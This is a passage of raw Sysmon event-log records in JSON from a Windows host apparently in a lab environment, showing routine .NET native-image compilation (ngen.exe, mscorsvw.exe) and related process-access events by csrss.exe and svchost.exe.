C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\12b4-0\\PresentationFramework.Classic.dll\r\nCreationUtcTime: 2020-08-07 12:02:03.682","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:03.682","ProcessGuid":"{90617006-42BB-5F2D-0000-001081470D00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\12b4-0\\PresentationFramework.Classic.dll","CreationUtcTime":"2020-08-07 12:02:03.682","EventReceivedTime":"2020-08-07 12:02:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7388,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:03.729\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-429C-5F2D-0000-001094080B00}\r\nTargetProcessId: 3848\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:03.729","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-429C-5F2D-0000-001094080B00}","TargetProcessId":"3848","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7389,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:03.729\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-429C-5F2D-0000-001094080B00}\r\nTargetProcessId: 3848\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:03.729","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-429C-5F2D-0000-001094080B00}","TargetProcessId":"3848","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7390,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:03.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-429C-5F2D-0000-001094080B00}\r\nTargetProcessId: 3848\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:03.729","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-429C-5F2D-0000-001094080B00}","TargetProcessId":"3848","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7391,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:03.791\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42BB-5F2D-0000-0010DF4F0D00}\r\nTargetProcessId: 4800\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:03.791","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42BB-5F2D-0000-0010DF4F0D00}","TargetProcessId":"4800","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7392,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:03.791\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42BB-5F2D-0000-0010DF4F0D00}\r\nTargetProcessId: 4800\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:03.791","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42BB-5F2D-0000-0010DF4F0D00}","TargetProcessId":"4800","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:03","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7393,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:03.791\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42BB-5F2D-0000-0010DF4F0D00}\r\nTargetProcessId: 4800\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:03.791","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42BB-5F2D-0000-0010DF4F0D00}","TargetProcessId":"4800","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7394,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:04.182\r\nProcessGuid: {90617006-42BB-5F2D-0000-0010DF4F0D00}\r\nProcessId: 4800\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\12c0-0\\PresentationFramework.Luna.dll\r\nCreationUtcTime: 2020-08-07 12:02:04.182","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:04.182","ProcessGuid":"{90617006-42BB-5F2D-0000-0010DF4F0D00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\12c0-0\\PresentationFramework.Luna.dll","CreationUtcTime":"2020-08-07 12:02:04.182","EventReceivedTime":"2020-08-07 12:02:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7395,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:04.229\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42BC-5F2D-0000-0010E2540D00}\r\nTargetProcessId: 3340\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:04.229","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42BC-5F2D-0000-0010E2540D00}","TargetProcessId":"3340","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:05","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7396,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 